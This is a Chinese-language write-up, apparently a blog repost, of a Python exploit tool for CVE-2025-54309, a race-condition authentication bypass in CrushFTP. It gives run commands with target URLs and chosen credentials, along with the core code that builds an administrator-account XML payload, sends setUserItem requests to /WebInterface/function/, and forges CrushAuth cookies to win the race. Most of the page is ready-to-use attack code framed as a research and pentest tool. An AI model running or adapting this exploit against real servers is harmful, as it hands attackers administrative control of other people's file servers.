CrushFTP 条件竞争认证绕过漏洞利用工具 (CVE-2025-54309)

CrushFTP CVE-2025-54309 条件竞争认证绕过利用工具

本项目是一个针对 CrushFTP 服务器认证绕过漏洞 (CVE-2025-54309) 的高效、可扩展的 Python 利用工具。基于公开的 WatchTowr 研究成果开发,该工具通过条件竞争(Race Condition)在目标服务器上创建新的管理员账户,帮助安全研究人员快速验证漏洞的存在。

功能特性

  • ⚡ 条件竞争利用:核心功能通过发送高并发请求触发漏洞,绕过认证机制。
  • 👤 自定义账户创建:允许用户在利用成功后指定新管理员账户的用户名和密码。
  • 📈 并发请求控制:支持设置发送的请求对数量(默认5000次),以适应不同的网络环境和目标服务器性能。
  • 📦 简洁的Payload设计:内置创建管理员用户所需的完整XML数据包,结构清晰。
  • 🔧 易于扩展 :代码结构模块化,预留了 -P/--payload 参数,方便未来增加其他类型的Payload。

安装指南

系统要求

  • Python 3.6 或更高版本
  • requests

安装步骤

  1. 克隆或下载项目代码

    bash 复制代码
    git clone https://github.com/your-repo/CVE-2025-54309-crushftp.git
    cd CVE-2025-54309-crushftp
  2. 安装依赖 : 项目依赖 requests 库,可以使用 pip 进行安装:

    bash 复制代码
    pip install requests

使用说明

基础使用示例

运行脚本需要指定目标 CrushFTP 服务器的 URL。

bash 复制代码
python crushedftp.py http://target.crushftp.com

该命令会使用默认的 username:password (默认为 meow:meow!) 和 5000 个请求对尝试利用漏洞。

高级选项

你可以通过命令行参数自定义利用过程:

bash 复制代码
python crushedftp.py -u admin -p P@ssw0rd -r 8000 http://target.crushftp.com
  • -u, --username:设置要创建的管理员用户名(例如 admin)。
  • -p, --password:设置要创建的管理员密码(例如 P@ssw0rd)。
  • -r, --requests:设置发送的请求对数量(例如 8000)。

典型使用场景

  1. 漏洞验证:对疑似存在漏洞的 CrushFTP 服务器进行验证。使用较低并发数(如1000)和随机账户名,观察是否成功创建用户。
  2. 渗透测试:在授权测试中,通过此工具获取服务器管理权限。可适当提高并发数(如5000-10000)以提高成功率。
  3. 安全研究 :分析漏洞触发机制,调整 C2F_K_VALUETIMESTAMP_VALUE 等参数,研究Cookie生成逻辑。

API概览

脚本核心逻辑围绕几个主要函数展开:

  • create_user_xml(username, password):生成包含新用户信息的完整 XML 字符串。
  • create_user_payload(c2f_cookie, username, password):构建用于 setUserItem 命令的 POST 数据字典。
  • new_c2f_cookie():生成一个带有随机值的 CrushAuth Cookie。
  • 主函数 exploit(target, username, password, num_requests):执行条件竞争攻击,发送大量并发请求。

核心代码

1. 用户创建 XML 生成器

此函数构建了创建管理员账户所需的核心 XML 结构,包含用户名、密码、站点权限((CONNECT)(WEB_ADMIN))等关键属性。

python 复制代码
def create_user_xml(username='', password='') -> str:
        # 生成当前时间戳字符串,用于日志记录
        current_time = time.strftime('%m/%d/%Y %I:%M:%S %p')
        # 返回格式化的用户XML,包含管理权限
        return  f'''<?xml version="1.0" encoding="UTF-8"?><user type="properties">
<max_logins_ip>8</max_logins_ip>
<real_path_to_user>./users/MainUsers/crushadmin/</real_path_to_user>
<root_dir>/</root_dir>
<user_name>{username}</user_name>
<version>1.0</version>
<max_logins>0</max_logins>
<last_logins>{current_time}</last_logins>
<password>{password}</password>
<site>(CONNECT)(WEB_ADMIN)</site>
<ignore_max_logins>true</ignore_max_logins>
<max_idle_time>0</max_idle_time>
<username>{username}</username>
</user>'''

2. 漏洞利用Payload构造

该函数将用户 XML 与必要的虚拟文件系统(VFS)和权限 XML 组合,形成最终发送给 /WebInterface/function/ 端点的完整数据包。c2f 参数取自 Cookie,用于绕过部分验证。

python 复制代码
def create_user_payload(c2f_cookie='', username='', password='' ):
    # 生成用户数据的XML
    user_xml = create_user_xml(username, password)
    # 返回POST数据字典,包含所有必要字段
    return {
            "command": "setUserItem",
            "data_action": "new", 
            "serverGroup": "MainUsers",
            "username": username,
            "user": user_xml,
            "xmlItem": "user",
            "vfs_items": VFS_XML,        # 预定义的VFS XML
            "permissions": PERMISSIONS_XML, # 预定义的权限XML
            "c2f": c2f_cookie.split('=')[-1] # 提取Cookie值
        }

3. 随机Cookie生成

为了在条件竞争中产生大量有效的请求,工具会生成随机的 CrushAuth Cookie。Cookie 的结构模仿了 CrushFTP 的认证格式,包含时间戳和随机字符。

python 复制代码
def new_c2f_cookie():
    # 生成C2F部分的随机字符串,长度由C2F_K_VALUE控制
    c2f = gen_random(C2F_K_VALUE)
    # 获取当前时间的毫秒级时间戳
    timestamp = int(time.time() * 1000)
    # 生成时间戳后缀部分的随机字符串
    suffix = gen_random(TIMESTAMP_VALUE)
    # 组装成完整的CrushAuth Cookie值
    # 格式: CrushAuth={timestamp}_{suffix}{c2f}
    return f"CrushAuth={timestamp}_{suffix}{c2f};cu"
```FINISHED
6HFtX5dABrKlqXeO5PUv/wh60lxkqLqgJWwiJJzRiDkG8rrTOoUE57jc/9Qgxvpk
相关推荐
一拳不是超人1 小时前
AI时代,35岁程序员焦虑终结:经验从负债变资产
人工智能·程序员
IT_陈寒2 小时前
Vite快得离谱?揭秘它比Webpack快10倍的5个核心原理
前端·人工智能·后端
风象南3 小时前
OpenClaw 登顶 GitHub Star 榜首:一个程序员 13 年后的"重新点火"故事
人工智能·后端
TF男孩12 小时前
重新认识Markdown:它不仅是排版工具,更是写Prompt的最佳结构
人工智能
想打游戏的程序猿13 小时前
AI时代的内容输出
人工智能
小兵张健13 小时前
Playwright MCP 截图标注方案调研:推荐方案 1
人工智能
凌杰15 小时前
AI 学习笔记:Agent 的能力体系
人工智能
IT_陈寒16 小时前
React状态管理终极对决:Redux vs Context API谁更胜一筹?
前端·人工智能·后端
柳杉17 小时前
从零打造 AI 全球趋势监测大屏
前端·javascript·aigc